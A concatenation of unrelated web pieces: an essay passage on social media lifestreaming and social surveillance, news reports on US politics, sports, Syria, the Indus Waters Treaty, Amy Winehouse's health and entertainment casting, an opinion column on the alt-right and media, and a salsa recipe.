Proponents say this type of networked lifestreaming facilitates connections to others, deepens relationships, and creates a source of real-time information. Sharing information through services like Twitter creates an “ambient awareness” of others, a sense of what friends and acquaintances are doing or thinking that builds up over a long period of time. This ambient awareness is akin to a sense of co-presence, even if the participants are not geographically proximate.
At the same time, networked lifestreaming often creates anxieties about creating and maintaining one’s social identity in front of an audience, and the extra layers of social information can result in intense social conflicts and arguments colloquially referred to as “drama.” Drama is what danah boyd and I call “performative, interpersonal conflict that takes place in front of an active, engaged audience, often on social media.”
Drama can be a form of norm policing, where social media is used to call out community members who violate explicit or implicit social norms. While our definition of drama was formulated during a large-scale study of teenagers, it applies equally to other social milieus that display the same networked audience effects. Inferences and implications made visible by social media can reveal connections and actions that are usually tucked away from each other. These difficulties have given rise to a variety of different ways of conceptualizing the “public” and the “private” and of managing how information flows between different entities, websites, and users. This delicate balancing act is made even more difficult in a community where virtually everyone lifestreams.
Somebody’s watching me: Social surveillance
Before the internet, people found out about parties or romantic relationships by gossiping or asking friends. This type of knowledge wasn’t secret, but it wasn’t available to everyone and was rarely written down. Today, any member of the networked audience can peruse a Facebook invite to see who was or wasn’t invited, or look at Foursquare check-ins to see who is spending time together. Social information is digitized and aggregated through the lifestream to create a layer of relational data that lays over the ordinary social graph.
While this information facilitated bonding and personal connection, it also magnified gossip, suspicion, and uncertainty. My informant Jill suspected that her boyfriend was having drinks with Mary, a woman that she strongly disliked. Jill noticed that her boyfriend’s Twitter feed had been silent for several hours. She then saw Mary use Dodgeball to check-in to a bar on his street and subsequently tweet out a photo of the bar. Jill interpreted this information to mean that the two were together, and was convinced that Mary intended her to know about it. Combining information from both people’s lifestreams created a larger social picture that was interpreted through a lens of suspicion. In retaliation, Jill tweeted a message about trustworthiness without naming either party.
Social surveillance is the process by which social technologies like Facebook, Foursquare, and Twitter let users gather social information about their friends and acquaintances. As privacy researcher Christina Nippert-Eng writes, “Humans are constantly scanning, constantly receptive to and looking for whatever they can perceive about each other, for whatever is put out there.” Eavesdropping is a very human action, and people are resourceful at combining information from disparate sources to create a “bigger picture” of social activities. This picture is augmented by information provided on social media sites like Twitter or Flickr.
Social media has a dual nature whereby information is both consumed and produced, which creates a symmetrical model of surveillance in which watchers expect, and desire, to be watched themselves. The presence of the networked audience not only enables connection, it encourages performances of intimacy and conflict to elicit reactions from others. Social media creates a context in which people are constantly monitoring themselves against the expectations of others—a context that can provoke anxiety and paranoia.
In the absence of face-to-face cues, people will extrapolate identity and relational material from any available digital information. Jennifer Gibbs and her colleagues found that online personal ads were constructed with a hyper-aware self-consciousness because users knew that misspellings, cultural references, and even time stamps were likely to be scrutinized by potential suitors.
Similarly, in early social media like IRC or Usenet, people would infer identity information from e-mail addresses, nicknames, signatures, spelling, and grammar. Digital traces and nuances are often interpreted incorrectly, but the act of interpreting becomes normal. Privacy scholar Helen Nissenbaum writes that the value of aggregation is in extracting “descriptive and predictive meanings from information that goes well beyond its literal boundaries.”
Social media users are practiced in the extraction of nuance through ongoing analysis of the lifestream. While each piece of information by itself may not mean much, it creates a larger picture when combined with others. For example, knowing that Julie visited a local bar on Tuesday night is not, in isolation, particularly interesting. The bar is publicly accessible, Julie can expect to be seen there, and she will probably tell her friends where she is. If she tracks, codifies, and broadcasts this information using social media, however, the information can undergo a transformation. If analysis of the lifestream reveals that Julie’s best friend’s ex-boyfriend was also at the bar, and this is the third night in a row that they have been in the same place, a new picture emerges.
The accessibility and persistence of personal information tracked and broadcast through social media create an extra layer of relational data that is not easily explained by the dichotomy of “public” or “private.” It is very complicated to manage self-impressions and relationships with others when faced with this phenomenon.
People in the scene recognized these complexities and shared strategies on how to handle them. For example, two Digg employees, Aubrey Sabala and Joe Stump, proposed a (rejected) panel at South by Southwest called “Is the internet killing your game?” which described how relationships were affected by the lifestream. Digital pictures posted on Twitter, Facebook, or Flickr were open to interpretation, meaning that someone who wasn’t present when the picture was taken could jump to the wrong conclusion. As shown in the earlier example, “radio silence,” or “dropping off the Twitterverse” for a day, was noticeable and questionable.
They also mentioned what they called the “right hand vs. left hand problem,” which described situations where “not everyone knows not to Twitter something out.” This occurs when a group of people have different information boundaries, and someone lifestreams something that other group members want to keep private. These practices reveal intensive attention to detail and monitoring of other people’s lifestreams, which from my observation was common among San Francisco technologists.
All of this extra information, and the additional meanings it sometimes implied, made the people I spoke to anxious. Since it was possible to keep close tabs on virtually anyone with a lifestream, people in my study spoke of trying, and failing, to resist the temptation to monitor ex-boyfriends and girlfriends, rivals, or partners. Some people installed browser software that blocked them from looking at specific Facebook profiles or Twitter feeds so that they would not be tempted to “cyber-stalk” exes or their new partners.
But nothing was foolproof. If someone they wished to avoid was connected to the networked audience, their username or picture would pop up in retweets, @replies, and other people’s Facebook messages. This created endless social conflicts, and I frequently saw someone get upset because they saw a picture of their ex in their Flickr stream, or noticed when a trusted friend checked in with a sworn enemy. Because the networked audience includes indirect connections (for example, someone connected to a friend or friend-of-friend), it makes visible those interactions that one could otherwise avoid. |
Former Govs. Gary Johnson of New Mexico and Bill Weld of Massachusetts said they were in it to win it as the Libertarian presidential ticket.
Johnson and Weld appeared at a CNN town hall Wednesday with Chris Cuomo, taking questions on a wide variety of issues, including gun control, abortion, foreign policy and drugs.
One of the questions given to the candidates was about their ability to win in the November election against Republican Donald Trump and Democrat Hillary Clinton.
“We would not be doing this if there wasn’t the opportunity to win, but the only opportunity to win is to actually be in the presidential debates, the ‘Super Bowl’ of politics,” Johnson said.
Johnson noted that he needed to get 15 percent in multiple polls leading up to the debates.
“To be at 15 percent in the polls, you gotta be in the polls,” Johnson lamented. “And right now we see it day after day after day where really it’s two candidates running for president, occasionally they throw in our names and really it’s at a level that if it were at three names all the time I think unquestionably we’d be at that 15 percent level and provide another voice table.”
Weld noted that the second of the two hurdles after getting into the debates would be to persuade people that they’re the lead alternative.
“We reject the extremes of both parties,” Weld said. “That duopoly down there in Washington is not getting a lot done. It’s almost like the parties exist for the purpose of slandering each other than they do for the constructive purposes of legislation.”
Johnson: "We would not be doing this if there weren't the opportunity to win" #LibTownHall https://t.co/SC0MyOrqMq https://t.co/gvBYujMqBI — CNN (@CNN) June 23, 2016
Earlier in the evening, Johnson discussed what a being a libertarian means to him. |
As the draft gets into its later rounds, every player will have his flaws and finding a player who can make an impcat in the NHL will get more difficult. The hope is that you can find a player being overlooked or someone who has yet to put it all together but has the ability to. As a player in Junior A waiting to jump to the NCAA in a year, could big forward Brett Murray be one of those players?
Who is Brett Murray?
Brett Murray is a left-winger who was most recently with the Carleton Place Canadians of the Junior A-level Central Canada Hockey League and who is currently committed to Penn State for the 2017-18 season. Murray, who was born July 20, 1998 will be on the young side of this year's draftees, being less than two months away from waiting for the 2017 NHL Draft. Despite being young for this draft year, Murray is a player who boasts tremendous size, already checking in at 6-foot-5 and 211 pounds, according to the CCHL website. For a player who has not yet reached 18 years of age, that type of size will catch a lot of teams' attention. His stats can be found below, courtesy of Elite Prospects:
Murray's stats are decent but aren't going to grab too much attention on their own since he's coming from a step below the CHL level in Junior A. His game overall has definitely drawn some eyes, though, as Murray was declared the top prospect in the CCHL by the league for the 2015-16 season. He is touted as a player who possesses offensive skill, but also the awareness to make him a two-way player. The one attribute that likely draws the most attention though, is his size. Murray would already be a big NHLer and he's just 17 years old. The words "power forward" are sure to come up a lot during his evaluation. Size is just one portion of the equation for any prospect, though, and while Murray has that in spades, he is still a bit of a long-term project overall, which is why he projects as a mid-round pick rather than a blue-chipper.
Regarding his rankings, Murray seems to project somewhere in the fourth round or later in the 2016 draft. The NHL's Central Scouting placed him at #83 among North American skaters, which probably puts him somewhere in the fourth round in terms of CSS projections. Elsewhere, being a mid-to-late round pick, Murray doesn't show up in most of the rankings that only go up to 30, 60, or 100, but he's projected to go in the third round on Draft Site and then ranked at #202 over at The Draft Analyst, so opinions are definitely varied.
What Others are Saying About Brett Murray
Murray is not necessarily a top prospect, but there's a decent amount of material out there on him. As mentioned earlier, he was named the CCHL's top prospect at the end of this past season. Here's what was said about him in the release:
Known as a big two-way forward who shows awareness with and without the puck. He offers strong playmaking ability to go along with a good release. He sees the ice well and will battle for position whether it’s in the open ice or in the corners. Not afraid to go to the net
Obviously, an award announcement is generally going to put an extra positive spin on a player, but if the CCHL considers him its best and brightest, it at least mitigates some of the negatives of him only being in Junior A this past season. He's a project, but he might have enough skill and the smarts to put that big frame to good use at the next level.
In general, the feeling seems to be that he has some good awareness and some decent offensive tools to go along with that attention-grabbing frame. For instance, these comments from ISS director of scouting Dennis MacInnis in an interview with Jeff Gard at Northumberland Today paint a pretty positive picture of the Murray:
Big frame with plenty of room to fill out. Good skater for a player of his size, and demonstrates good hockey sense. Consistently able to find holes in the defence and get open to create scoring chances. Good stick when attacking the puck carrier. A longer-term developmental curve, but projects as a solid two-way power forward.
So, a solid skater and a player with a good eye for the game seems to be the takeaway here. Again, it will be some time before you'd expect him to have an impact, but he could have the ability and wherewithal to make good on that "power forward" label he'll inevitably be saddled with.
Over at DraftSite, this blurb on Murray from Bill Placzek reiterates some of his positives and refers to him as a potential sleeper:
Sleeper with terrific size, good strength, and surprising skating agility. Handles the puck very well, and is not shy about using his size to get his way. Has some offensive upside and scouts will give him close looks as the draft gets closer.
So despite being a big guy, it seems that he can skate pretty well and his offensive skill has been praised in multiple locations. If he does have the tools to be a strong offensive playmaker to go with his size then he has a good chance to succeed down the road.
A Little Video
Unfortunately, since he's in the CCHL, there really isn't much of any video out there on Murray. The CCHL website purports to have video of some goals, but the quality is not great and many don't seem to show the goal they say they do. Otherwise, there is this short profile below that he did for the Carleton Place Canadians this season.
An Opinion of Sorts
Looking a Brett Murray as a prospect, the first thing that will obviously jump out is his size. The old cliche about size is that you can't teach it, which is, of course, true, but it can also lead to values getting over-inflated sometimes so one should be weary of putting too many eggs in that basket. Murray isn't just a straight up bruiser or grinder, though, he seems to have some skill and sense to go with that big frame. He's definitely a project, but he'll be one of the younger players in this class, and with him planning on going to the NCAA in 2017, he'll have plenty of time to develop before a team has to make a decision on him. He could be a decent guy to take a flyer on as it gets later in the draft. I wouldn't spend a third-round pick on him and even a fourth feels like maybe little bit of a stretch for guy who didn't necessarily overwhelm the Junior A ranks but I think he'd be a defensible selection once you get past the 100th-pick range and could be a nice player to take a flyer on if he's there in the later rounds.
Your Take
So what are your thoughts on Brett Murray? Do you like what you've heard from him as a player? Do you think someone will reach too far for him because of his size? Or could his combination of skill and size make him a real sleeper who is flying under the radar in the Junior A level before he gets to the NCAA? Sound off with your thoughts in the comments below and thanks for reading. |
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Marvel’s Agent Carter is bulking up its cast as the series heads to Hollywood for Season 2. The Newsroom alumna Wynn Everett, Lotte Verbeek (The Fault In Our Stars), Currie Graham (Pompeii) and Reggie Austin (Devious Maids) have joined as regulars for the second season of the ABC action-drama series. In addition, Dominic Cooper and Bridget Regan, who recurred last season, both will be back for Season 2. Cooper will reprise his role as Howard Stark and Regan will be back as Dottie. Marvel TV made the announcements today at New York Comic-Con.
Hayley Atwell stars as Agent Peggy Carter, the unstoppable secret agent for the Strategic Scientific Reserve. Dedicated to the fight against new atomic-age threats in the wake of World War II, Peggy now must journey from New York City to Los Angeles for her most dangerous assignment yet. But even as she discovers new friends, a new home — and perhaps even a new love — she’s about to find out that the bright lights of the post-war Hollywood mask a more sinister threat to everyone she is sworn to protect.
Everett will play the storied Marvel comics character Whitney Frost, a Hollywood actress and brilliant inventor. In the comics, Whitney first appeared in Tales Of Suspense #98 in 1968 before becoming Madame Masque a year later in Iron Man #17. Verbeek is Ana Jarvis, the free-spirited wife of Edwin Jarvis (James D’Arcy), who immediately befriends Peggy and helps her to adjust to life in Los Angeles. Graham plays Whitney’s husband Calvin Chadwick, a high-powered businessman. Austin is Jason Wilkes, a quirky yet charismatic scientist who instantly charms Peggy.
The series also stars Chad Michael Murray as Agent Jack Thompson and Enver Gjokaj as Chief Daniel Sousa.
Tara Butters, Michele Fazekas, Christopher Markus, Stephen McFeely, Chris Dingess, Kevin Feige, Louis D’Esposito, Alan Fine, Joe Quesada, Stan Lee and Jeph Loeb are executive producers. Marvel’s Agent Carter is produced by ABC Studios and Marvel Television. |
Story highlights Trump railed against the press in an afternoon news conference
Reactions on Capitol Hill ranged from stunned to bemused
Washington (CNN) Reaction inside the Capitol to President Donald Trump's 75-minute press conference ranged from stunned to bemused -- as the people weighing his sweeping agenda pondered how to deal with a leader who promised that he was "not ranting and raving."
Following the news conference, one Republican lawmaker tried to keep the President's comments in context with his overall demeanor: "We're just trying to manage this s***."
"The people that love him will love him more, the people that hate him will hate him more and the people in the middle probably will look at it the way that we look at in Congress, which is that's just the new normal. That's just the s*** that happens. I don't know how else to manage it," the Republican said.
Another lawmaker said that he was at the House gym when Trump took the podium at the White House and that every lawmaker in there -- the gym is for representatives only -- watched the President's news conference.
A Republican senator and Trump critic who watched the President's press conference texted CNN's John King: "He should do that with a therapist, not on live television."
Read More |
Members of the US House Armed Services Committee have voted to create a "Space Corps," a sixth branch of the country’s armed forces focused on military maneuvers beyond the Earth’s atmosphere.
The space corps, which has yet to gain full approval, would absorb all of the Air Force’s current space missions under the umbrella of a new US Space Command. It would also make the head of the new service the eighth member of the Joint Chiefs of Staff.
The plan, which could be implemented as soon as January 2019, has been developed as part of a radical reorganization of the US Air Force.
‘Infinity, right?’ Trump relaunches iconic National Space Council with Buzz Aldrin by his side https://t.co/eB40wP9C9c — RT America (@RT_America) July 1, 2017
Several members of the congressional committee claimed to be blindsided by the proposal, and attempted to slow down the changes until they heard testimony from US Defense Secretary James Mattis. The challenge was later dropped, however.
Michael Turner (R-Ohio) said he only learned about the proposal last week, when it first came before the subcommittee on strategic forces.
“I chastised my staff and said, ‘How could I not know that this was happening?’ They said, ‘Well, they had a meeting about it and you missed it,’” Turner said. “A meeting is certainly not enough. Maybe we do need a space corps, but I think this bears more than just discussions in a subcommittee.
“We have not had Secretary Mattis come before us and tell us what this means. We have not heard from the secretary of the Air Force. There’s a whole lot of work we need to do before we go as far as creating a new service branch.”
Turner’s Republican colleague Mike Rogers (R-Alabama) argued that the plan had been in development since the publication of the Rumsfeld Commission report, a study outlining future US space strategy, in 2001.
“There’s been nothing shortsighted about this,” Rogers said, according to Federal News Radio. “We started working on it vigorously in September, and we’ve had countless meetings with a number of experts who have advised us as to how this should be construed. In fact, this idea for a Space Corps as one of the solutions to Air Force space came from the Rumsfeld Commission in 2001.”
Under the plan, all operations involving the Air Force’s secretive X-37B spaceplane would fall under the control of the US Space Corps.
The X-37B, which looks like a small Space Shuttle orbiter, is due to launch again in August after its last flight lasted a record 718 days.
The space corps, which would be the first new military service since 1947, is not specifically banned by the Outer Space Treaty, a 1967 international agreement outlawing the use of the moon and other celestial bodies from being used as military outposts. |
CLOSE USA TODAY Sports' Lindsay H. Jones discusses Jim Harbaugh's next landing spot after the coach and 49ers agreed to part ways.
Jim Harbaugh is seen here during a break in the action against the Oakland Raiders in the fourth quarter at O.co Coliseum earlier this month. (Photo11: Cary Edmondson, USA TODAY Sports)
After resurrecting the San Francisco 49ers and taking the team to three NFC championship games and one Super Bowl appearance in four years, the Jim Harbaugh era in San Francisco is over.
The 49ers and Harbaugh "mutually agreed to part ways" the team announced Sunday after the team's 20-17 win over the Arizona Cardinals.
The Niners ended the season 8-8 and out of the playoffs, the only year since Harbaugh was hired in 2011 that the team failed to reach the postseason. Harbaugh leaves the Niners with a career record of 44-19-1, along with a 5-3 record in the postseason.
"Jim and I have come to the conclusion that it is in our mutual best interest to move in different directions," said 49ers CEO Jed York in a release. "We thank Jim for bringing a tremendous competitive nature and a great passion for the game to the 49ers. He and his staff restored a winning culture that has been the standard for our franchise throughout its history. Their commitment and hard work resulted in a period of success that should be looked back on proudly by our organization and our fans. We wish Jim and his family all the best."
But this was hardly a surprising result, with the Niners and Harbaugh heading for divorce all year as the coach clashed with general manager Trent Baalke and rumors swirled that he was losing support within the locker room.
The team looked into trading Harbaugh to the Cleveland Browns last spring, and San Francisco did not sign Harbaugh to a contract extension before the 2014 season. Perhaps only a Super Bowl title this year could have prolonged Harbaugh's time in Santa Clara.
Instead, the 49ers spent the season shrouded in controversy, both on and off the field.
The offseason started with the Browns trade story, and it included the hold outs of two prominent players, tight end Vernon Davis and guard Alex Boone; a sexual assault investigation into quarterback Colin Kaepernick, from which he was ultimately cleared; and a guilty plea by star pass rusher Aldon Smith on drunken driving and weapons charges that resulted in a nine-game suspension.
But the problems persisted into the regular season, with a three-game losing streak in September and another four-game losing streak that started with a Thanksgiving night loss to rival Seattle that ended the Niners' playoff hopes.
"For the last four seasons I have had the great privilege to coach one of the storied franchises in the history of football," Harbaugh said. "We accomplished many great things together as a team during this period, which is a tribute to the incredible efforts of some of the most dedicated players and coaches in the NFL.
"I will miss competing alongside this group of players and coaches, I have the utmost respect and admiration for their hard work and support. It has been my honor to share the sideline with these mighty men. I will always appreciate and remember fondly, the passion and support of our Faithful fans, and want to express my particular thanks to them."
San Francisco's offense struggled to find an identity all season and often – and controversially -- abandoned the power-running style that had defined the Niners for much of the Harbaugh era. But Kaepernick, who received a contract extension in June, failed to improve and the Niners failed to score, finishing ranked near the bottom of the NFL in points scored.
The defense had its problems, too, in part because issues at linebacker, with the season-long absence of star linebacker NaVorro Bowman, the lack of a pass rush without Smith (and his negligible impact once he returned) and a season-ending injury to Patrick Willis in October.
San Francisco also dealt with season-long off-field drama with defensive end Ray McDonald, arrested on suspicion of domestic violence on Aug. 31. McDonald remained in the starting lineup while police and prosecutors investigated that case, and he was ultimately not charged. But the team released him earlier this month, hours after police named him as a suspect in a sexual assault investigation.
San Francisco immediately becomes perhaps the most intriguing job opening in the NFL, because of Kaepernick and a quality defensive roster. The Niners next head coach will be charged with continuing Kaepernick's development and reshaping San Francisco's offensive identity.
"We are now squarely focused on finding the next head coach of the 49ers and I am very confident in Trent's ability to lead that process," York said. "With the great leaders and talented players we have in our locker room, we are ready to move into the next chapter of our team's history."
PHOTOS: Best of NFL Week 17 |
One of the great tragedies of mass media is the left’s ability to influence the right’s choice as to whom ought to be seen as a spokesperson. In the 2016 election cycle, the left focused on Donald Trump to the exclusion of other people on the right; the right, fixated laserlike on reacting to the left’s focus, embraced Trump; Trump became a spokesperson for the right, even though his policies are a bizarre admixture of Buchananism, Keynesianism, and reactionary knee-jerkism. By the same token, the left chooses figures it wishes to highlight as “conservative,” smearing the conservative movement with them – and conservatives react to the left’s visceral hatred of those same figures by embracing them.
This week, we saw the media drop blanket coverage on Richard Spencer, an alt-right white nationalist leader, who went to Virginia to protest the possible removal of a statue of General Robert E. Lee. He showed up with some of his friends, all of whom carried torches in the night, looking like something out of an old KKK photo shoot sans hoods. “What brings us together is that we are white, we are a people, we will not be replaced,” Spencer stated. He then showed up at a second rally at which people chanted “Russia is our friend.” Here’s The Washington Post:
Once an obscure Internet figure promoting white identity, Spencer coined the term “alt-right” — referring to a small, far-right movement that seeks a whites-only state — and rose to prominence during Donald Trump’s presidential campaign. Although Trump denounced the alt-right, Spencer’s followers counted his victory as a win for the movement as Trump espoused hard-right stances on undocumented immigrants, Muslims and political correctness.
What made Spencer a famous figure? Two things: the rise of Trump, who embraced members of the alt-right on Twitter, whose campaign spokesman, Steve Bannon, talked about using Breitbart News as a forum for the alt-right, and whose lead cheerleader, Milo Yiannopoulos, praised Spencer at Breitbart (he called his website “a gathering point for an eclectic mix of renegades who objected to the established political consensus in some form or another”); and the mainstream media, who decided to reward Spencer with coverage and more coverage. Spencer was a nobody until last year. Now, the media cheer him being punched on the street and cover him incessantly, despite the fact that Spencer has an incredibly small but active base.
Meanwhile, blanket coverage has accrued to other fringe figures of the right as well – some of whom have increased their visibility thanks to fellow-traveling with Trump, but all of whom represent conservatism poorly. That’s the common factor here: the left has an interest in continuing to promote even those anti-left figures the right has largely abandoned. The media glommed onto Yiannopoulos as a rising star thanks to his provocative appearances and love of Trump, even though he openly ripped the Constitution and conservatism; the right responded by embracing Yiannopoulos. But now, even after the right largely excised Yiannopoulos following emergence of tape of him praising pedophilia, the left’s still pushing him. NBC’s Today Show, for example, promoted Yiannopoulos with a full interview, based on Yiannopolous’ problems on campus:
Now, The Today Show could have featured Charles Murray, an actual conservative intellectual; Christina Hoff Sommers, a conservative intellectual on feminism; Ayaan Hirsi Ali; Jason Riley; the list goes on and on. Instead, the Today Show pulled Yiannopoulos. Why? Because the left knows that if it can help choose for conservatives who their thoughtleaders should be, they’ll have an easier time pillorying them. It's easier to pretend that the left's hatred for the right is legitimate when the right stands behind an apparent pedophilia-endorser than when they're standing behind the resident scholar at the American Enterprise Institute.
The same holds true in talk radio and on the internet, where the left has decided to tout the rise of conspiracy theorist and kook extraordinaire Alex Jones. Yes, Jones’ bizarre association with Trump should raise eyebrows. And yes, Infowars is a highly-trafficked website. But to pretend that Jones is leader of a mass movement, when he remains a fringe player by the numbers, is to promote him actively. The left knows this. It’s why the left has been trying to push Jones since Piers Morgan had him on his show to talk about gun control after Sandy Hook.
Here’s the point: political partisans always have an incentive to promote the most outrageous examples from their enemies’ camp, and promote them as indicative of the mainstream of that camp. The left has its Keith Olbermanns; the right has its Alex Joneses. But it’s up to actual conservatives to pick their leaders. Being trolled into fandom for silly, pathetic and ridiculous provocateurs simply because the left shines a spotlight on them will end up rewarding the left and corrupting conservatism. |
Syria has dismissed US and British claims that it may have used chemical arms as a "barefaced lie" and its ally Russia has warned against using such fears to use military action.
"Statements by the US secretary of state and British government are inconsistent with reality and a barefaced lie," said Omran al-Zohbi, Syria's information minister, in an interview published on Saturday on the Kremlin-funded Russia Today's website.
"I want to stress one more time that Syria would never use it - not only because of its adherence to the international law and rules of leading war, but because of humanitarian and moral issues," Zohbi said.
Zohbi spoke out as UN chief Ban Ki-moon called on Damascus to approve a UN mission of inspectors to probe the alleged use of chemical weapons in the conflict that erupted in March 2011.
But Zohbi told Russia Today television station that Syria could not trust UN inspectors from Britain and the United States.
'Game-changer'
"We also do not trust their qualifications. Their aim is to juggle with facts." he said.
"We won't mind if Russians would be among the experts; quite the contrary, we only welcome this idea. We are quite sure in their high qualification and ability to clearly see into such matters."
Russia and China have blocked several UN Security Council draft resolutions that threatened sanctions against President Bashar al-Assad's regime.
US President Barack Obama said on Friday that using chemical weapons would be a "game-changer", after the US, Israel and Britain cited signs that Assad's regime had used the deadly agent sarin.
But Obama said Washington must act prudently and establish exactly if, how and when such arms might have been used. He promised a "vigorous" US and international investigation into the latest reports.
British Prime Minister David Cameron said the growing evidence that Assad had turned chemical agents on his own people was extremely serious.
Mikhail Bogdanov, Russia's deputy foreign minister and Middle East envoy, urged against using these reports for military intervention.
Military success
"We must check the information immediately and in conformity with international criteria, and not use it to achieve other objectives," he said in Beirut.
"It must not be a pretext for an intervention in Syria."
Zohbi said in comments published by the Interfax news agency on Friday that chemical weapons were used by opposition fighters and originated in Turkey.
He linked the chemical arms accusations to what he said was the recent military success of regime forces.
"There are qualitative changes on the battlefields," Zohbi was quoted as saying by the RIA Novosti news agency.
"The uproar from the Americans that has arisen in the last 48 hours is due to this."
Reuters news agency reported that amateur video appeared to show aerial bombardments on opposition strongholds around Syria's capital Damascus.
Assad gains
Assad's forces appeared to have made gains across Syria in recent weeks, Reuters reported.
They have advanced around Damascus and the border with Lebanon, areas that help link the capital to coastal provinces dominated by Assad's Alawite minority.
The government was pounding opposition strongholds with air power and shelling in an effort to gain the upper hand in a war that had already killed 70,000 people, Reuters said.
The Syrian opposition urged the UN Security Council to take immediate steps, possibly even by imposing a no-fly zone on Syria.
Yasser Tabbara, spokesman for the Syrian interim government of Prime Minister Ghassan Hitto, said: "What we are asking the international community, what we are asking the United States, with its drone technology, with its surgical strike technology, is to help us disable Bashar al-Assad from the use of these chemical weapons."
Fighting continued unabated on Saturday, with at least 10 people killed in shelling on Douma north-east of Damascus, the Syrian Observatory for Human Rights said. |
If you've been following along with the story of Knux and his crazy carnival family on TNA Impact Wrestling, you've already met Rebel. The poor girl thought she was reuniting with her long-lost man to chase his dream of being a pro wrestler (while making enough money to save the family business - a roadside carnival), when she finds out that the big lunk also plans to bring along Crazzy Steve (who is crazy) and The freakin' Freak.
Many of us wanted to know more about this fire-twirling Tanea who will be showing up next Thursday night, and thanks to the dirt screens, now we know.
Tanea Brooks is a former Dallas Cowboys cheerleader, and covergirl for their bestselling calendar, from Owasso, Oklahoma. She is also the country music equivalent of a video vixen, having appeared in music videos for Trace Adkins ("Honkey Tonk Badonkadonk") and Brooks and Dunn ("Play Something County").
A member of the performance troupe Purrfect Angelz, she met fellow Angel Christy Hemme there. Hemme, who has recently been promoted to TNA Creative, put in a good word for Brooks and she moved to Louisville, Kentucky and trained at Ohio Valley Wrestling (OVW) when TNA still had a relationship with them.
No word on how long she was in OVW, or how that training went. And, in fairness, there's no guarantee that she will serve as much more than a manager/valet for the new carnival-themed stable.
Who's excited to see what Rebel brings to TNA with The Menagerie? |
Restaurant Style Salsa
Have you ever been to a Mexican restaurant and thought, “Wow, I wish I knew how to make this salsa!”? Well, what if I told you that you can make it at home, and that it’s incredibly easy? After gathering a few ingredients, all you need to do is pulse them a few times in your Magic Bullet and you end up with delicious, thick and tasty restaurant style salsa.
Never again do you have to leave the restaurant embarrassed, head low in shame, after having asked your server to box up the rest of the salsa for you. Come on, you know you’ve done it before!
Restaurant Style Salsa
Ingredients
1 can (14.5 oz) stewed Mexican style tomatoes
4 hot chili peppers
1/3 cup fresh cilantro
3 green onions, chopped (white part only)
2 garlic cloves, chopped
1 Tbsp vinegar
1 Tbsp olive oil
Instructions
Add all ingredients to a large Magic Bullet cup and pulse several times until well mixed. Do not blend continuously or texture will be too runny.
Makes 1 cup
Comments
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Pakistan has taken up the Indus Waters Treaty issue with International Court Of Justice and World Bank.
Highlights Pak has moved International Court of Justice over Indus Waters Treaty Pak has also taken up the issue with World Bank that brokered the deal Reviewing treaty, PM Modi had said, "blood and water can't flow together"
Stung by reports that India is reviewing the Indus Waters Treaty after the Uri terror attack, with Prime Minister Narendra Modi saying that "blood and water cannot flow together" , Pakistan has approached the World Bank.The World Bank "committed itself to timely fulfilling its obligations under the treaty while remaining neutral," said a statement issued by the Pakistani Embassy in Washington today.Reports say Pakistan has also gone to the International Court of Justice The World Bank brokered the 1960 agreement that regulates the flow of six rivers between India and Pakistan.A delegation led by Pakistan's top lawyer, Attorney General Ashtar Ausaf Ali, met senior World Bank officials in Washington on Tuesday. The team reportedly urged the World Bank to accelerate the process of appointing judges for a Court of Arbitration. The treaty gives the global lender an important role in establishing the Court of Arbitration by facilitating the appointment of three judges, called Umpires, while each country appoints two arbitrators.Pakistan's foreign policy adviser Sartaz Aziz said in the National Assembly yesterday that if India revokes the treaty, it will be treated as " an act of war or a hostile act against Pakistan ".Pakistan's pre-emptive strike follows PM Modi's meeting on Monday to assess the treaty as India debates tough steps against Pakistan after 18 soldiers were killed in an attack on an army base in Kashmir's Uri on September 18.Sources say one retaliatory move being considered by the government is to "maximise" the use of water from the rivers governed by Pakistan - Chenab, Jhelum and Indus. This will impact Pakistan as it depends on snow-fed Himalayan rivers for everything from drinking water to agriculture.The Indus Waters Treaty gives India rights to use the eastern rivers - Ravi, Sutlej and Beas - and Pakistan has control over the three western rivers. In a series of moves to isolate Pakistan, India has also pulled out of the SAARC summit in Islamabad and PM Modi has also called for a deliberation on Thursday of whether to downgrade the country's status as a trading partner. |
Read the full Mitch Winehouse interview Singer Amy Winehouse has "traces" of the lung disease emphysema but is "responding brilliantly to treatment", her father has said. Mitch Winehouse told BBC Radio 1 his daughter would recover "completely" as long as she stopped smoking. The star has now been in hospital for a week, but her father said she would perform at the Glastonbury Festival and Nelson Mandela concert this weekend. Emphysema is caused by lung damage and can start as mild breathlessness. It eventually means the body does not get enough oxygen, leading to further breathing problems and possibly death. "There's a small amount there which hasn't gone too far and it's completely repairable," Mr Winehouse said. Please turn on JavaScript. Media requires JavaScript to play. The 24-year-old fell ill last week after fainting at her London home. "With patience, her lungs will recover completely and she's responding brilliantly to treatment - she's actually flourishing," Mr Winehouse said. He added that doctors had given his daughter permission to perform at the weekend. "She will be well enough - not could be - she's well enough to be at Glastonbury now," he said. But Dr Keith Prowse, chairman of the British Lung Foundation, said emphysema was not curable. If Amy stops smoking, it's not going to interfere with her singing
Dr Keith Prowse
British Lung Foundation "Once it's there, it's there - it is possible to have it and not be bothered by symptoms, but if you continued to smoke it would cause it to progress rapidly," he told the BBC. "If Amy stops smoking, it's not going to interfere with her singing and she probably won't have any trouble from it." But in the late stages of the disease, a singer would "struggle to find the breath to perform effectively", he said. Emphysema kills 30,000 people in the UK every year and is caused by gradual damage to the structure of the lungs, which makes it harder to exhale. EMPHYSEMA FACTS Caused by gradual damage to the structure of the lungs Sufferers find it hard to exhale Lack of oxygen can lead to fatigue and weight loss Smoking is the principal cause in the UK Cannot be cured, although radical surgical methods have been tried with some success Can leave sufferers housebound, reliant on oxygen supplies, and eventually contribute to death
Find out more about Emphysema It usually affects older people as it is due to cumulative damage over a long period, such as a lifetime of smoking. Dr Prowse also said more young drug addicts were presenting with the condition. "People are starting to use drugs much younger these days so it is present much earlier," he said. "They are smoking cigarettes heavily anyway and we know some of the other things that damage the lungs - cannabis for example. "But they're not eating a reasonable diet and have a lifestyle which predisposes damage." In an interview with the Sunday Mirror, Mr Winehouse also called for his daughter's drug dealers and circle of drug addict pals to stay away from her. "I'm saying to those drug dealers, and they know who they are, if they are supplying crack to Amy, then they've got to take responsibility," he said. "I don't want her hanging out with her mates like Pete Doherty either. What hope does she have if people are taking drugs around her?"
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Banks "frankly own the place," Sen. Dick Durbin famously said of Washington during the debate over financial regulation in 2010. And when it comes to total contributions for big donors, you can see what he's talking about (FIRE = the Finance, Insurance and Real Estate sector):
Most of the FIRE growth is coming from the securities and investment sector, followed by real estate, Lee Drutman writes at the Sunlight Foundation, elaborating here:
